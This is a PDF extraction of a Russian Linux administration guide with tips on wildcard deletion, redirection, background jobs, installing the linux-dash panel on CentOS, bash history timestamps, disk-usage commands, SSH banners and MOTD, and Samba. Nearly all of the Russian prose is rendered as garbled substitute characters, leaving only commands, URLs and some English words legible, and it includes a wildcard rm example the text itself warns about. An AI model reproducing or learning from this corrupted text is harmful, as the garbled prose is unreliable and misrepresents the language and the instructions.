(ʚ ʜʘʥʥʦʤ ʩʣʫʯʘʝ - ʥʝʢʫʶ ʘʫʜʠʦʟʘʧʠʩʴ, ʢʦʪʦʨʘʷ ʥʘʯʠʥʘʝʪʩʷ ʢʘʢ recording010101: 

ls |  grep recording010101  

 

 

ɄȿɉȺȿ 

ʊʨʝʪʠʡ ʪʨʶʢ - ʠʩʧʦʣʴʟʦʚʘʥʠʝ ʤʘʩʢʠ, ʢʦʪʦʨʘʷ ʦʙʦʟʥʘʯʘʝʪʩʷ ʩʠʤʚʦʣʦʤ *  - 

ʟʚʝʟʜʦʯʢʘ. ʂ ʧʨʠʤʝʨʫ, ʝʩʣʠ ʥʫʞʥʦ ʫʜʘʣʠʪʴ ʚʩʝ ʬʘʡʣʳ, ʢʦʪʦʨʳʝ ʥʘʯʠʥʘʶʪʩʷ ʥʘ 

ʩʣʦʚʦ recording01, ʪʦ ʤʦʞʥʦ ʚʚʝʩʪʠ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ: 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/shest-poleznyx-tryukov-v-rabote-s-linux/1.png
https://wiki.merionet.ru/images/shest-poleznyx-tryukov-v-rabote-s-linux/1.png
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rm recording01 *  

ʕʪʦ ʤʦʞʝʪ ʙʳʪʴ ʦʯʝʥʴ ʧʦʣʝʟʥʳʤ ʧʨʠ ʥʘʧʠʩʘʥʠʠ ʩʢʨʠʧʪʦʚ, ʢʦʪʦʨʳʝ ʫʜʘʣʷʶʪ ʧʦ 

ʢʨʦʥʫ ʩʪʘʨʳʝ ʣʦʛʠ ʠʣʠ ʬʘʡʣʳ ʘʫʜʠʦ-ʟʘʧʠʩʝʡ. ʅʦ ʩ ʜʘʥʥʦʡ ʢʦʤʘʥʜʦʡ ʥʫʞʥʦ ʙʳʪʴ 

ʦʯʝʥʴ ʘʢʢʫʨʘʪʥʳʤ - ʝʩʣʠ ʟʘʙʳʪʴ ʧʨʦʩʪʘʚʠʪʴ ʢʨʠʪʝʨʠʠ ʧʦʠʩʢʘ, ʪʦ ʢʦʤʘʥʜʘ ʚʠʜʘ rm 

*  ʫʜʘʣʠʪ ʚʩʸ ʩʦʜʝʨʞʠʤʦʝ ʜʠʨʝʢʪʦʨʠʠ. 

 

ɁɓɁɆɠ ȺɆɄȿɅɠɓ Ɂ Ɍȿɢɣ 

ʏʝʪʚʝʨʪʳʡ ʪʨʶʢ - ʚʳʚʦʜ ʢʦʤʘʥʜʳ ʚ ʬʘʡʣ. ʕʪʦ ʜʝʣʘʝʪʩʷ ʩ ʧʦʤʦʱʴʶ ʩʠʤʚʦʣʘ >. 

ʉʮʝʥʘʨʠʝʚ ʠʩʧʦʣʴʟʦʚʘʥʠʷ ʤʘʩʩʘ, ʢʘʢ ʧʨʠʤʝʨ ʧʨʠʚʝʜʫ ʚʳʚʦʜ ʢʦʤʘʥʜʳ ls ʚ 

ʪʝʢʩʪʦʚʳʡ ʬʘʡʣ (ʥʠʞʝ) - ʝʩʣʠ ʫ ʚʘʩ ʚ ʜʠʨʝʢʪʦʨʠʠ ʦʯʝʥʴ ʙʦʣʴʰʦʝ ʢʦʣʠʯʝʩʪʚʦ 

ʬʘʡʣʦʚ, ʪʦ, ʜʣʷ ʦʙʱʝʛʦ ʧʦʥʠʤʘʥʠʷ ʯʪʦ ʞʝ ʠʤʝʥʥʦ ʚ ʥʝʡ ʥʘʭʦʜʠʪʩʷ ʙʫʜʝʪ ʧʨʦʱʝ 

ʨʘʙʦʪʘʪʴ ʩ ʪʝʢʩʪʦʚʳʤ ʬʘʡʣʦʤ ʠʣʠ ʞʝ ʤʦʞʥʦ ʟʘʧʫʩʪʠʪʴ ʨʝʢʫʨʩʠʚʥʳʡ ʩʢʨʠʧʪ ʩ 

ʟʘʥʝʩʝʥʠʝʤ ʩʦʜʝʨʞʠʤʦʛʦ ʚʩʝʭ ʢʘʪʘʣʦʛʦʚ ʚ ʪʝʢʩʪʦʚʳʝ, ʥʘʧʨʠʤʝʨ: 

ls > testfile . txt  

 

ɀɓɉɊɈȿɗ ɉɄɂɅȿ ɠȼɈɂȺɊɆɈȼȼ 

ʇʷʪʳʡ ʪʨʶʢ - ʩʤʝʥʘ ʜʠʨʝʢʪʦʨʠʠ ʥʘ ʜʦʤʘʰʥʶʶ ʜʠʨʝʢʪʦʨʠʠ ʢʦʥʢʨʝʪʥʦʛʦ ʶʟʝʨʘ ʩ 

ʧʦʤʦʱʴʶ ʩʠʤʚʦʣʘ ~. ʇʨʦʩʪʦ ʚʚʝʜʠʪʝ cd ~  ʠ ʚʳ ʧʦʧʘʜʝʪʝ ʚ ʜʠʨʝʢʪʦʨʠʶ 

/home/user . 

 

ɌɆɅɆɁɓɂ ɇɈɆɎɂɉɉɓ ȼ ɡȿɇɋɉȺ ɇɆ ɋɉɣɆɁȼɖ 

https://wiki.merionet.ru/


 
 

 

246                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

ʐʝʩʪʦʡ ʪʨʶʢ - ʵʪʦ ʟʘʧʫʩʢ ʢʦʤʘʥʜʳ ʧʦ ʫʩʣʦʚʠʶ ʠ ʟʘʧʫʩʢ ʢʦʤʘʥʜʳ ʚ ʙʵʢʛʨʘʫʥʜʝ 

(ʬʦʥʦʚʳʡ ʧʨʦʮʝʩʩ). ɼʣʷ ʵʪʦʛʦ ʩʣʫʞʠʪ ʩʠʤʚʦʣ & . 

ɽʩʣʠ ʭʦʪʠʪʝ ʟʘʧʫʩʪʠʪʴ, ʢ ʧʨʠʤʝʨʫ, Wireshark ʚ ʙʵʢʛʨʘʫʥʜʝ, ʥʝʦʙʭʦʜʠʤʦ ʥʘʧʠʩʘʪʴ 

wireshark &  - ʧʦ ʫʤʦʣʯʘʥʠʶ Bash ʟʘʧʫʩʢʘʝʪ ʢʘʞʜʫʶ ʧʨʦʛʨʘʤʤʫ ʚ ʪʝʢʫʱʝʤ 

ʪʝʨʤʠʥʘʣʝ. ʇʦʵʪʦʤʫ ʵʪʦ ʤʦʞʝʪ ʦʯʝʥʴ ʧʨʠʛʦʜʠʪʴʩʷ, ʝʩʣʠ ʚʘʤ ʥʫʞʥʦ ʚʳʧʦʣʥʷʪʴ 

ʢʘʢʫʶ-ʪʦ ʧʨʦʛʨʘʤʤʫ ʠ ʚʩʝ ʝʱʸ ʧʦʣʴʟʦʚʘʪʴʩʷ ʪʝʤ ʞʝ ʪʝʨʤʠʥʘʣʦʤ. ɸ ʝʩʣʠ ʥʫʞʥʦ 

ʟʘʧʫʩʪʠʪʴ Wireshark ʯʝʨʝʟ ʢʘʢʦʝ-ʪʦ ʚʨʝʤʷ, ʪʦ ʤʦʞʥʦ ʚʦʩʧʦʣʴʟʦʚʘʪʴʩʷ ʢʦʤʘʥʜʦʡ 

&& - ʢ ʧʨʠʤʝʨʫ, sleep 360 && wireshark  - ʵʪʦ ʟʘʧʫʩʪʠʪ wireshark ʯʝʨʝʟ 6 ʤʠʥʫʪ. 

ʉʘʤʘ ʢʦʤʘʥʜʘ sleep ʥʝ ʜʝʣʘʝʪ ʥʠʯʝʛʦ, ʵʪʦ, ʛʨʫʙʦ ʛʦʚʦʨʷ, ʧʨʦʩʪʦ ʫʩʣʦʚʥʳʡ ʪʘʡʤʝʨ. 

 

ǴȖȕȐȚȖȘȐȕȋ șȍȘȊȍȘȈ ș ȗȖȔȖȡȤȦ Linux-dash 

ɺ ʥʘʰʝʡ ʙʘʟʝ ʟʥʘʥʠʡ ʜʦʩʪʘʪʦʯʥʦ ʤʥʦʛʦ ʩʪʘʪʝʡ ʢʘʩʘʝʤʦ ʫʩʪʘʥʦʚʢʠ ʠ ʥʘʩʪʨʦʡʢʠ 

FreePBX, ʧʦʵʪʦʤʫ ʚʳ ʥʘʚʝʨʥʷʢʘ ʥʝʦʜʥʦʢʨʘʪʥʦ ʥʘʪʳʢʘʣʠʩʴ ʥʘ ʩʢʨʠʥʰʦʪʳ 

Dashboard ʚ FreePBX ï ʦʢʥʘ, ʩʦʜʝʨʞʘʱʝʛʦ ʚ ʩʝʙʝ ʩʚʦʜʢʫ ʧʦ ʚʩʝʤ ʩʝʨʚʠʩʘʤ, 

ʩʣʫʞʙʘʤ ʠ çʞʝʣʝʟʥʳʤè ʭʘʨʘʢʪʝʨʠʩʪʠʢʘʤ ʩʝʨʚʝʨʘ ɸʊʉ ï ʚ ʩʪʘʪʴʝ ʤʳ ʨʘʩʩʢʘʞʝʤ 

ʢʘʢ ʫʩʪʘʥʦʚʠʪʴ ʧʦʭʦʞʠʡ ʜʵʰʙʦʨʜ ʘʙʩʦʣʶʪʥʦ ʥʘ ʣʶʙʦʡ ʩʝʨʚʝʨ ï ʚ ʥʘʰʝʤ ʧʨʠʤʝʨʝ 

ʤʳ ʙʫʜʝʤ ʝʛʦ ʩʪʘʚʠʪʴ ʥʘ CentOS 6. 

 

ɋɉɊȿɅɆɁȺȿ 

ɼʣʷ ʥʘʯʘʣʘ ʦʙʥʦʚʠʤ ʚʩʝ ʧʘʢʝʪʳ ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳyum update , ʘ ʟʘʪʝʤ 

ʫʩʪʘʥʦʚʠʤ Apache, PHP ʠ git ʧʘʢʝʪʳ: 

yum - y install httpd git php php - json  php - xml php - common 

https://wiki.merionet.ru/
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ɼʘʣʝʝ ʚʢʣʶʯʠʤ ʠ ʟʘʧʫʩʪʠʤ ʩʝʨʚʠʩ httpd ʢʦʤʘʥʜʘʤʠ: 

systemctl start httpd  

systemctl enable httpd  

ʉʣʝʜʫʶʱʠʤ ʰʘʛʦʤ ʥʝʦʙʭʦʜʠʤʦ ʩʢʘʯʘʪʴ ʩʘʤ ʜʵʰʙʦʨʜ ʩ ʧʦʤʦʱʴʶ git, ʥʦ ʜʣʷ ʵʪʦʛʦ 

ʥʝʦʙʭʦʜʠʤʦ ʩʥʘʯʘʣʘ ʩʤʝʥʠʪʴ ʨʘʙʦʯʫʶ ʜʠʨʝʢʪʦʨʠʶ ʥʘ /var/www/html ʩ ʧʦʤʦʱʴʶ 

ʢʦʤʘʥʜʳ cd /var/www/html . ʇʦʩʣʝ ʩʤʝʥʳ ʜʠʨʝʢʪʦʨʠʠ ʚʚʦʜʠʤ ʢʦʤʘʥʜʫ ʜʣʷ 

ʩʢʘʯʠʚʘʥʠʷ - git clone https://github.c om/afaqurk/linux - dash.git  - ʚ 

ʦʙʱʝʤ ʠ ʮʝʣʦʤ, ʧʦʯʪʠ ʚʩʸ ʛʦʪʦʚʦ ʜʣʷ ʟʘʧʫʩʢʘ. 

 

ɡȿɇɋɉȺ 

ʊʝʧʝʨʴ ʧʝʨʝʟʘʛʨʫʞʘʝʤ ʩʝʨʚʠʩ httpd ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ service httpd restart  

ʠ ʧʨʦʙʫʝʤ ʟʘʡʪʠ ʧʦ ʩʣʝʜʫʶʱʝʤʫ ʘʜʨʝʩʫ: http://ʘʜʨʝʩ_ʚʘʰʝʛʦ_ʩʝʨʚʝʨʘ/linux-

dash 

ɽʩʣʠ ʚʩʸ ʧʨʦʰʣʦ ʫʩʧʝʰʥʦ ï ʫ ʚʘʩ ʜʦʣʞʝʥ ʟʘʧʫʩʪʠʪʴʩʷ ʚʝʙ-ʠʥʪʝʨʬʝʡʩ ʩʣʝʜʫʶʱʝʛʦ 

ʚʠʜʘ, ʢʘʢ ʥʘ ʩʢʨʠʥʰʦʪʝ ʥʠʞʝ: 

https://wiki.merionet.ru/
https://github.com/afaqurk/linux-dash.git
http://xn--__-6kcbbjcgfkdcb6jxajcgh9k/linux-dash
http://xn--__-6kcbbjcgfkdcb6jxajcgh9k/linux-dash


 
 

 

248                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

 

ʆʙʨʘʪʠʪʝ ʚʥʠʤʘʥʠʝ, ʯʪʦ ʝʩʪʴ 5 ʚʢʣʘʜʦʢ: 

ǒ System Status - ʠʥʬʦʨʤʘʮʠʷ ʦ ʟʘʛʨʫʞʝʥʥʦʩʪʠ ʦʧʝʨʘʪʠʚʥʦʡ ʧʘʤʷʪʠ, CPU ʠ 

ʪʘʢ ʜʘʣʝʝ; 

ǒ Basic Info - ʦʙʱʘʷ ʠʥʬʦʨʤʘʮʠʷ ʦ ʩʝʨʚʝʨʝ; 

ǒ Network - ʠʥʬʦʨʤʘʮʠʷ ʦ ʩʝʪʝʚʳʭ ʠʥʪʝʨʬʝʡʩʘʭ; 

ǒ Accounts - ʠʥʬʦʨʤʘʮʠʷ ʦʙ ʘʢʢʘʫʥʪʘʭ ʧʦʣʴʟʦʚʘʪʝʣʝʡ; 

ǒ Apps - ʦʧʠʩʘʥʠʝ ʠʩʧʦʣʴʟʫʝʤʳʭ ʧʨʠʣʦʞʝʥʠʡ; 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/monitoring-servera-s-pomoshhyu-linux-dash/1.PNG
https://wiki.merionet.ru/images/monitoring-servera-s-pomoshhyu-linux-dash/1.PNG
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ɼʘʥʥʦʝ ʧʨʠʣʦʞʝʥʠʝ ʥʘʭʦʜʠʪʩʷ ʚ ʧʨʦʮʝʩʩʝ ʧʦʩʪʦʷʥʥʦʡ ʜʦʨʘʙʦʪʢʠ ʨʘʟʨʘʙʦʪʯʠʢʦʤ, 

ʧʦʵʪʦʤʫ ʚʳ ʚʩʝʛʜʘ ʤʦʞʝʪʝ ʦʙʨʘʪʠʪʴʩʷ ʢ ʥʝʤʫ ʥʘʧʨʷʤʫʶ ʯʝʨʝʟ GitHub. 

 

 

 

ǭȡȨ ȕȍșȒȖȓȤȒȖ ȗȖȓȍȏȕȣȝ ȒȖȔȈȕȌ Ȍȓȧ CentOS 

ɺ ʥʘʰʝʡ ʙʘʟʝ ʟʥʘʥʠʡ ʝʩʪʴ ʜʦʚʦʣʴʥʦ ʤʥʦʛʦ ʩʪʘʪʝʡ ʦ ʨʘʟʣʠʯʥʳʭ ʧʦʣʝʟʥʳʭ ʪʨʶʢʘʭ ʠ 

ʢʦʤʘʥʜʘʭ ʜʣʷ Linux, ʢʦʪʦʨʳʝ ʦʙʣʝʛʯʘʶʪ ʞʠʟʥʴ ʩʠʩʪʝʤʥʦʤʫ ʘʜʤʠʥʠʩʪʨʘʪʦʨʫ ï 

ʧʦʛʦʚʦʨʠʤ ʝʱʸ ʦ ʥʝʩʢʦʣʴʢʠʭ ʢʦʤʘʥʜʘʭ ʠ ʦʙʲʷʩʥʠʤ ʠʭ ʩʠʥʪʘʢʩʠʩ. 

 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/monitoring-servera-s-pomoshhyu-linux-dash/2.PNG
https://wiki.merionet.ru/images/monitoring-servera-s-pomoshhyu-linux-dash/2.PNG
https://wiki.merionet.ru/servernye-resheniya/6/top-20-poleznyh-komand-centos
https://wiki.merionet.ru/servernye-resheniya/6/top-20-poleznyh-komand-centos
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ȼɉɊɆɈȼɗ ɁɁɂɠɚɅɅɓɍ ȺɆɄȿɅɠ 

ʇʨʝʜʩʪʘʚʴʪʝ ʩʝʙʝ ʜʦʣʛʫʶ ʠ ʫʪʦʤʠʪʝʣʴʥʫʶ ʩʝʩʩʠʶ ʧʦ ʥʘʩʪʨʦʡʢʝ ʚʘʰʝʛʦ ʩʝʨʚʝʨʘ, 

ʠ, ʚʜʨʫʛ, ʚʳ ʧʦʥʠʤʘʝʪʝ, ʯʪʦ ʢʘʢʦʡ-ʪʦ ʰʘʛ ʙʳʣ ʚʳʧʦʣʥʝʥ ʥʝʚʝʨʥʦ ï ʚ ʪʘʢʦʤ ʩʣʫʯʘʝ 

ʤʦʞʝʪ ʦʯʝʥʴ ʧʨʠʛʦʜʠʪʴʩʷ ʢʦʤʘʥʜʘ history  - ʢʘʢ ʚʠʜʥʦ ʥʘ ʩʢʨʠʥʰʦʪʝ ʥʠʞʝ, ʦʥʘ 

ʚʳʚʦʜʠʪ ʚʩʝ ʚʚʝʜʸʥʥʳʝ ʢʦʤʘʥʜʳ. 

 

ɹʦʣʝʝ ʪʦʛʦ, ʝʩʣʠ ʚʳ ʭʦʪʠʪʝ ʧʦʚʪʦʨʠʪʴ ʢʘʢʫʶ-ʥʠʙʫʜʴ ʫʞʝ ʚʚʝʜʸʥʥʫʶ ʢʦʤʘʥʜʫ, 

ʜʦʩʪʘʪʦʯʥʦ ʚʚʝʩʪʠ !#### , ʛʜʝ #### - ʥʦʤʝʨ ʢʦʤʘʥʜʳ. ʆʜʥʘʢʦ ʥʦʤʝʨ ʢʦʤʘʥʜʳ ʜʘʸʪ 

ʥʝ ʦʯʝʥʴ ʤʥʦʛʦ ʠʥʬʦʨʤʘʮʠʠ ʦ ʪʦʤ, ʢʦʛʜʘ ʵʪʘ ʢʦʤʘʥʜʘ ʙʳʣʘ ʚʚʝʜʝʥʘ ï ʜʣʷ 

ʠʟʤʝʥʝʥʠʷ ʵʪʦʛʦ ʬʘʢʪʘ, ʜʦʩʪʘʪʦʯʥʦ ʚʚʝʩʪʠ ʢʦʤʘʥʜʫ HISTTIMEFORMAT="%d/%m/%y 

%T "  - ʪʝʧʝʨʴ ʚʳ ʫʚʠʜʠʪʝ ʚʨʝʤʷ, ʢʦʛʜʘ ʢʦʤʘʥʜʘ ʙʳʣʘ ʠʩʧʦʣʥʝʥʘ. 

https://wiki.merionet.ru/
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ʀʪʘʢ, ʙʦʣʝʝ ʧʦʜʨʦʙʥʦʝ ʦʧʠʩʘʥʠʝ ʩʠʥʪʘʢʩʠʩʘ: 

ǒ history - ʥʝʧʦʩʨʝʜʩʪʚʝʥʥʦ ʢʦʤʘʥʜʘ ʜʣʷ ʚʳʚʦʜʘ ʠʩʪʦʨʠʠ ʢʦʤʘʥʜ (ʙʠʙʣʠʦʪʝʢʘ 

GNU); 

ǒ HISTIMEFORMAT - ʧʝʨʝʤʝʥʥʘʷ, ʦʪʚʝʯʘʶʱʘʷ ʟʘ ʚʳʚʦʜ ʠ ʬʦʨʤʘʪ ʜʘʪʳ; 

ǒ %d - ʜʥʠ; 

ǒ %m - ʤʝʩʷʮʳ; 

ǒ %y - ʛʦʜʳ; 

ǒ %T - ʦʧʠʩʘʥʠʝ; 

 

Ɍȿɢɣɓ Ɂ ɉȼɉɊɂɄɂ. ɡȿɅȼɄȿɖɑȼɂ ɀɆɣɔɐɂ ɁɉɂɝɆ ɄɂɉɊȿ ȼ ɌȿɢɣɆɁȿɗ ȼɅɌɆɈɄȿɎȼɗ 

https://wiki.merionet.ru/
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ɼʨʘʛʦʮʝʥʥʦʝ ʤʝʩʪʦ ʥʘ ʩʝʨʚʝʨʝ ʠʤʝʝʪ ʪʝʥʜʝʥʮʠʶ ʟʘʢʘʥʯʠʚʘʪʴʩʷ, ʦʩʦʙʝʥʥʦ, ʝʩʣʠ 

ʵʪʦ ʩʝʨʚʝʨ, ʩʣʫʞʘʱʠʡ ʜʣʷ ʟʘʧʠʩʠ ʟʚʦʥʢʦʚ ʠʣʠ IP-ɸʊʉ - ʜʣʷ ʚʳʚʦʜʘ ʩʧʠʩʢʘ 

ʦʩʥʦʚʥʳʭ ʬʘʡʣʦʚ çʞʨʫʱʠʭè ʤʝʩʪʦ ʤʦʞʥʦ ʚʦʩʧʦʣʴʟʦʚʘʪʴʩʷ ʢʦʤʘʥʜʦʡ: 

du ïhsx *  |  sort - rh |  head - 6 

 

ǒ du - ʦʮʝʥʢʘ ʟʘʥʠʤʘʝʤʦʛʦ ʧʨʦʩʪʨʘʥʩʪʚʘ; 

ǒ -hsx (-h) ʚʳʚʦʜ ʚ ʯʠʪʘʝʤʦʤ ʬʦʨʤʘʪʝ,(-s) ʩʫʤʤʘʨʠʟʘʮʠʷ ʚʳʚʦʜʘ ʢʦʤʘʥʜʳ, (-

x) ʠʩʧʦʣʴʟʦʚʘʥʠʝ ʦʜʥʦʛʦ ʬʦʨʤʘʪʘ ʬʘʡʣʘ; 

ǒ sort - ʩʦʨʪʠʨʦʚʢʘ; 

ǒ -rh -(-r) ʚʳʚʦʜ ʚ ʦʙʨʘʪʥʦʤ ʧʦʨʷʜʢʝ,(h) ʚʳʚʦʜ ʚ ʯʠʪʘʝʤʦʤ ʬʦʨʤʘʪʝ; 

ǒ head - ʚʳʚʦʜ ʧʝʨʚʳʭ N ʩʪʨʦʢ, ʚ ʜʘʥʥʦʤ ʩʣʫʯʘʝ ï 6; 

ʂʦʤʘʥʜʘ stat filename_ext  ʧʦʟʚʦʣʷʝʪ ʚʳʚʝʩʪʠ ʠʥʬʦʨʤʘʮʠʶ ʦ ʬʘʡʣʝ ï ʝʛʦ 

ʦʙʲʝʤ, ʧʨʘʚʘ, ʜʘʪʫ ʧʨʘʚʢʠ ʠ ʪʘʢ ʜʘʣʝʝ. 
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ɡȿɀȿɁɅȿɗ ȺɆɄȿɅɠȿ ɠɣɗ ɅɆɁȼɏȺɆɁ. ɇɆɡɁɆɣɗɖɑȿɗ ɇɆɉɊɂɇɂɅɅɆ ɇɆɉɊȼɝȿɊɔ NKPVY 

ʄʥʦʛʠʝ ʟʥʘʢʦʤʳ ʩ ʢʦʤʘʥʜʦʡ man, ʢʦʪʦʨʘʷ ʧʦʢʘʟʳʚʘʝʪ ʤʘʥʫʘʣ ʧʦ ʥʝʟʥʘʢʦʤʦʡ 

ʢʦʤʘʥʜʝ, ʠʟʫʯʝʥʠʷ ï ʘ ʩʢʨʠʧʪ ʥʠʞʝ ʚʳʚʦʜʠʪ ʢʘʢʦʡ-ʥʠʙʫʜʴ ʩʣʫʯʘʡʥʳʡ ʤʘʥʫʘʣ. 

ʊʘʢʠʤ ʦʙʨʘʟʦʤ ʤʦʞʥʦ ʧʦʩʪʦʷʥʥʦ ʦʙʫʯʘʪʴʩʷ ʠʣʠ ʧʨʦʩʪʦ ʨʘʟʚʣʝʢʘʪʴʩʷ :) 

man $ ( ls / bin |  shuf |  head - 1)  

 

ǒ man - ʩʪʨʘʥʠʮʳ Linux Man; 

ǒ ls - ʢʦʤʘʥʜʘ ls; 

ǒ /bin - ʤʝʩʪʦʧʦʣʦʞʝʥʠʝ ʩʠʩʪʝʤʥʦʛʦ ʬʘʡʣʘ Binary; 

ǒ shuf - ʩʣʫʯʘʡʥʘʷ ʛʝʥʝʨʘʮʠʷ; 

ǒ head - ʚʳʚʦʜ ʧʝʨʚʳʭ N ʩʪʨʦʢ, ʚ ʜʘʥʥʦʤ ʩʣʫʯʘʝ ï 1; 
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ǵȈșȚȘȖȑȒȈ SSH Ȑ MOTD ȉȈȕȕȍȘȈ Ȋ CentOS 

ɼʣʷ ʢʘʞʜʦʛʦ ʩʝʨʚʝʨʘ ʥʝʣʠʰʥʠʤ ʙʫʜʝʪ ʫʩʪʘʥʦʚʢʘ ʙʘʥʥʝʨʘ, ʢʦʪʦʨʳʡ ʤʦʛ ʙʳ 

ʧʨʦʠʥʬʦʨʤʠʨʦʚʘʪʴ ʟʣʦʫʤʳʰʣʝʥʥʠʢʘ ʦ ʪʦʤ, ʢʘʢʠʝ ʨʠʩʢʠ ʦʥ ʥʝʩʸʪ ʚ ʩʣʫʯʘʝ ʚʟʣʦʤʘ 

ʠ\ʠʣʠ ʧʨʦʩʪʦ ʢʘʞʜʦʤʫ ʧʦʣʴʟʦʚʘʪʝʣʶ ʜʝʤʦʥʩʪʨʠʨʦʚʘʪʴ ʚʘʞʥʫʶ ʠʥʬʦʨʤʘʮʠʶ ʦ 

ʩʝʨʚʝʨʝ ʧʦʩʣʝ ʫʩʧʝʰʥʦʡ ʘʚʪʦʨʠʟʘʮʠʠ. ʇʦ ʩʫʪʠ, ʝʩʪʴ ʜʚʝ ʩʫʱʥʦʩʪʠ ï ʙʘʥʥʝʨ ʠ 

MOTD. ʇʦʩʣʝ ʚʚʦʜʘ ʣʦʛʠʥʘ ʚʳ ʫʚʠʜʠʪʝ ʙʘʥʥʝʨ, ʠ ʧʦʩʣʝ ʫʩʧʝʰʥʦʡ ʘʚʪʦʨʠʟʘʮʠʠ 

ʙʫʜʝʪ ʧʦʢʘʟʘʥ MOTD. 

 

ɅȿɉɊɈɆɢȺȿ 

ɼʣʷ ʥʘʯʘʣʘ ʦʪʨʝʜʘʢʪʠʨʫʝʤ ʬʘʡʣ /etc/issue.net ï ʥʘʧʨʠʤʝʨ, ʩ ʧʦʤʦʱʴʶ ʨʝʜʘʢʪʦʨʘ 

Vim: 

vim / etc / issue . net  

ʀ ʚʩʪʘʚʠʤ ʚ ʥʝʛʦ ʣʶʙʦʡ ʞʝʣʘʝʤʳʡ ʪʝʢʩʪ, ʥʘʧʨʠʤʝʨ: 

###############################################################  

https://wiki.merionet.ru/
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#                          ACCESS RESTRICTED                  #  

#                     Please disconnect immediately!          #              

#                    All you actions will be recorded!        #  

################################################## #############  

ʉʣʝʜʫʶʱʠʤ ʰʘʛʦʤ ʥʝʦʙʭʦʜʠʤʦ ʦʪʨʝʜʘʢʪʠʨʦʚʘʪʴ ʢʦʥʬʠʛ-ʬʘʡʣ ʩʨʝʚʠʩʘ sshd ʠ 

ʫʢʘʟʘʪʴ ʧʫʪʴ ʜʣʷ ʙʘʥʥʝʨʘ. ɼʣʷ ʵʪʦʛʦ ʩʥʘʯʘʣʘ ʦʪʢʨʦʝʤ ʢʦʥʬʠʛ ʩʣʝʜʫʶʱʝʡ 

ʢʦʤʘʥʜʦʡ: 

vim / etc / ssh / sshd_config  

ɼʘʣʝʝ ʥʝʦʙʭʦʜʠʤʦ ʥʘʡʪʠ ʩʪʨʦʯʢʫ, ʢʦʪʦʨʘʷ ʦʪʥʦʩʠʪʩʷ ʢ ʙʘʥʥʝʨʫ, ʠ ʧʨʦʧʠʩʘʪʴ ʧʫʪʴ 

ʢʘʢ ʥʘ ʩʢʨʠʥʰʦʪʝ ʥʠʞʝ: 

 

ʊʦ ʝʩʪʴ Banner /etc/issue.net . ʇʦʩʣʝ ʵʪʦʛʦ ʩʦʭʨʘʥʷʝʤ ʢʦʥʬʠʛ (ʚ Vim ʥʘʞʠʤʘʝʤ 

Esc ʠ ʚʚʦʜʠʤ :x!, ʟʘʪʝʤ Enter). 

https://wiki.merionet.ru/
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ʇʦʩʣʝʜʥʠʤ ʰʘʛʦʤ ʦʪʨʝʜʘʢʪʠʨʫʝʤ ʬʘʡʣ MOTD, ʜʣʷ ʵʪʦʛʦ ʠʩʧʦʣʴʟʫʝʤ ʢʦʤʘʥʜʫ vim 

/etc/motd  ʠ ʜʦʙʘʚʠʤ ʚ ʥʝʸ ʩʚʦʡ ʙʘʥʥʝʨ, ʢ ʧʨʠʤʝʨʫ: 

##########################################  

# TEST SERVER#                           #  

# PLEASE DISCONNECT IF YOU ARE NOT ADMIN #  

##########################################  

ʊʘʢʞʝ ʩʦʭʨʘʥʷʝʤ ʬʘʡʣ ʠ ʧʨʦʙʫʝʤ ʟʘʡʪʠ ʥʘ ʩʝʨʚʝʨ, ʚʳ ʜʦʣʞʥʳ ʫʚʠʜʝʪʴ 

ʩʣʝʜʫʶʱʝʝ: 
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ɼʣʷ ʬʦʨʤʠʨʦʚʘʥʠʷ ʙʘʥʥʝʨʦʚ ʪʘʢʞʝ ʤʦʞʥʦ ʠʩʧʦʣʴʟʦʚʘʪʴ ASCII ʢʦʜ, ʧʦʵʪʦʤʫ 

ʙʫʜʴʪʝ ʢʨʝʘʪʠʚʥʳ! :) ʂ ʧʨʠʤʝʨʫ, ʣʶʙʫʶ ʢʘʨʪʠʥʢʫ ʤʦʞʥʦ ʧʝʨʝʚʝʩʪʠ ʚ ʢʦʜ ʩ 

ʧʦʤʦʱʴʶ ʦʥʣʘʡʥ ASʉII ʢʦʥʚʝʨʪʝʨʘ. 

 

 

 

ǲȈȒ ȘȈșȠȈȘȐȚȤ ȗȈȗȒț Ȋ CentOS ș ȗȖȔȖȡȤȦ Samba 

ɺ ʩʪʘʪʴʝ ʷ ʦʧʠʰʫ ʢʘʢ çʨʘʩʰʘʨʠʪʴè ʧʘʧʢʫ ʥʘ CentOS ʩʝʨʚʝʨʝ ï ʪʦ ʝʩʪʴ 

ʧʨʝʜʦʩʪʘʚʠʪʴ ʝʡ ʦʙʱʠʡ ʜʦʩʪʫʧ ʙʝʟ ʫʢʘʟʘʥʠʷ ʧʘʨʦʣʷ. ʉʜʝʣʘʪʴ ʵʪʦ ʚʦʟʤʦʞʥʦ ʩ 

ʧʦʤʦʱʴʶ ʫʩʪʘʥʦʚʢʠ ʩʝʨʚʝʨʘ Samba ʠ ʥʝʩʢʦʣʴʢʠʭ ʜʦʧʦʣʥʠʪʝʣʴʥʳʭ ʤʘʥʠʧʫʣʷʮʠʡ. 

ɼʦʩʪʫʧ ʙʫʜʝʪ ʧʨʦʠʟʚʦʜʠʪʴʩʷ ʧʦ ʧʨʦʪʦʢʦʣʫ SMB/CIFS (Server Message 

Block/Common Internet File System 

 

ɋɉɊȿɅɆɁȺȿ 

ʇʝʨʝʜ ʫʩʪʘʥʦʚʢʦʡ ʥʝʦʙʭʦʜʠʤʦ ʧʦʥʷʪʴ, ʚ ʢʘʢʦʤ ʩʪʘʪʫʩʝ ʫ ʚʘʩ ʥʘʭʦʜʠʪʩʷ SELinux ï 

ʜʣʷ ʵʪʦʛʦ ʥʫʞʥʦ ʚʳʧʦʣʥʠʪʴ ʢʦʤʘʥʜʫ selinuxenables && echo enabled || echo 

disabled . ɺ ʩʣʫʯʘʝ ʝʩʣʠ ʨʝʟʫʣʴʪʘʪ ʪʘʢʦʡ ʞʝ, ʢʘʢ ʥʘ ʩʢʨʠʥʰʦʪʝ ʥʠʞʝ ï ʤʦʞʝʪʝ 

